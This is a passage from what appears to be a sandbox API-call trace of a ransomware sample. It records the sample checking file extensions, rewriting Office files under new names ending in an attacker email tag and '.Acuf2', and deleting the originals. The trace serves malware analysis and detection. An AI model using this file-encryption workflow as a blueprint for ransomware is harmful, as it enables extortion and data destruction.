	[0043.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString=".bz2") returned 4
	[0043.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString=".7z") returned 3
	[0043.768] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.768] lstrlenW (lpString=".dbf") returned 4
	[0043.768] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.768] lstrlenW (lpString=".1cd") returned 4
	[0043.768] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.769] lstrlenW (lpString=".jpg") returned 4
	[0043.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.769] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0043.769] lstrlenW (lpString="ADO210.CHM") returned 10
	[0043.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0044.051] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1680383) returned 1
	[0044.052] CloseHandle (hObject=0x1bc) returned 1
	[0044.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20
	[0044.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0044.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0044.053] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc6c | out: lpNewFilePointer=0x0) returned 1
	[0044.053] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc2c | out: lpNewFilePointer=0x0) returned 1
	[0044.053] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3360058*, lpNumberOfBytesRead=0x2c3fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0044.058] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc2c | out: lpNewFilePointer=0x0) returned 1
	[0044.058] ReadFile (in: hFile=0x1bc, lpBuffer=0x33a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c3fc38, lpOverlapped=0x0 | out: lpBuffer=0x33a0058*, lpNumberOfBytesRead=0x2c3fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0044.061] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c3fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0044.061] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc2c | out: lpNewFilePointer=0x0) returned 1
	[0044.061] ReadFile (in: hFile=0x1bc, lpBuffer=0x33e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c3fc38, lpOverlapped=0x0 | out: lpBuffer=0x33e0058*, lpNumberOfBytesRead=0x2c3fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0044.077] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.077] WriteFile (in: hFile=0x1bc, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0044.571] SetEndOfFile (hFile=0x1bc) returned 1
	[0044.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f137d0
	[0044.576] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.576] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x2c3fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.577] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.577] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x2c3fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.579] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.579] WriteFile (in: hFile=0x1bc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x2c3fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f137d0 | out: hHeap=0x4f0000) returned 1
	[0044.582] CloseHandle (hObject=0x1bc) returned 1
	[0045.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.393] lstrlenW (lpString=".doc") returned 4
	[0045.393] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.393] lstrlenW (lpString=".docx") returned 5
	[0045.393] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0045.393] lstrlenW (lpString=".pdf") returned 4
	[0045.394] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString=".xls") returned 4
	[0045.394] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString=".xlsx") returned 5
	[0045.394] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0045.394] lstrlenW (lpString=".ppt") returned 4
	[0045.394] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.394] lstrlenW (lpString=".zip") returned 4
	[0045.394] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString=".rar") returned 4
	[0045.394] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString=".bz2") returned 4
	[0045.394] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.394] lstrlenW (lpString=".7z") returned 3
	[0045.394] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.394] lstrlenW (lpString=".dbf") returned 4
	[0045.394] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.394] lstrlenW (lpString=".1cd") returned 4
	[0045.394] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.394] lstrlenW (lpString=".jpg") returned 4
	[0045.394] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString=".doc") returned 4
	[0045.395] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString=".docx") returned 5
	[0045.395] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1
	[0045.395] lstrlenW (lpString=".pdf") returned 4
	[0045.395] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString=".xls") returned 4
	[0045.395] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString=".xlsx") returned 5
	[0045.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1
	[0045.395] lstrlenW (lpString=".ppt") returned 4
	[0045.395] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString=".zip") returned 4
	[0045.395] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString=".rar") returned 4
	[0045.395] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString=".bz2") returned 4
	[0045.395] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.395] lstrlenW (lpString=".7z") returned 3
	[0045.395] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString=".dbf") returned 4
	[0045.395] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString=".1cd") returned 4
	[0045.395] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71
	[0045.395] lstrlenW (lpString=".jpg") returned 4
	[0045.395] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.396] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.396] lstrlenW (lpString="OutlookMUI.XML") returned 14
	[0045.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0045.396] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3186) returned 1
	[0045.396] CloseHandle (hObject=0x1bc) returned 1
	[0045.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20
	[0045.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0045.396] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.397] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.084] GetLastError () returned 0x0
	[0046.084] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xc72, lpOverlapped=0x0) returned 1
	[0046.086] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xc80, lpOverlapped=0x0) returned 1
	[0046.087] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.087] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0046.087] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.087] CloseHandle (hObject=0x1f8) returned 1
	[0046.088] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.088] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.089] CloseHandle (hObject=0x1bc) returned 1
	[0046.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.089] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1
	[0046.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.089] lstrlenW (lpString=".doc") returned 4
	[0046.089] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString=".docx") returned 5
	[0046.090] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.090] lstrlenW (lpString=".pdf") returned 4
	[0046.090] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString=".xls") returned 4
	[0046.090] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString=".xlsx") returned 5
	[0046.090] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.090] lstrlenW (lpString=".ppt") returned 4
	[0046.090] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.090] lstrlenW (lpString=".zip") returned 4
	[0046.090] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.090] lstrlenW (lpString=".rar") returned 4
	[0046.090] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString=".bz2") returned 4
	[0046.090] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString=".7z") returned 3
	[0046.090] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.090] lstrlenW (lpString=".dbf") returned 4
	[0046.090] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.090] lstrlenW (lpString=".1cd") returned 4
	[0046.090] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.090] lstrlenW (lpString=".jpg") returned 4
	[0046.090] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.091] lstrlenW (lpString=".doc") returned 4
	[0046.091] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString=".docx") returned 5
	[0046.091] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.091] lstrlenW (lpString=".pdf") returned 4
	[0046.091] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString=".xls") returned 4
	[0046.091] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString=".xlsx") returned 5
	[0046.091] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.091] lstrlenW (lpString=".ppt") returned 4
	[0046.091] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.091] lstrlenW (lpString=".zip") returned 4
	[0046.091] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.091] lstrlenW (lpString=".rar") returned 4
	[0046.091] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString=".bz2") returned 4
	[0046.091] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString=".7z") returned 3
	[0046.091] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.091] lstrlenW (lpString=".dbf") returned 4
	[0046.091] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.091] lstrlenW (lpString=".1cd") returned 4
	[0046.091] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108
	[0046.092] lstrlenW (lpString=".jpg") returned 4
	[0046.092] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.092] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.092] lstrlenW (lpString="PowerPointMUI.XML") returned 17
	[0046.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.092] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1450) returned 1
	[0046.092] CloseHandle (hObject=0x1bc) returned 1
	[0046.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20
	[0046.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.092] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.093] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.094] GetLastError () returned 0x0
	[0046.094] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0046.096] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0046.097] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.097] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0046.097] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.097] CloseHandle (hObject=0x1f8) returned 1
	[0046.098] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.098] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.098] CloseHandle (hObject=0x1bc) returned 1
	[0046.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1
	[0046.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.099] lstrlenW (lpString=".doc") returned 4
	[0046.099] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.099] lstrlenW (lpString=".docx") returned 5
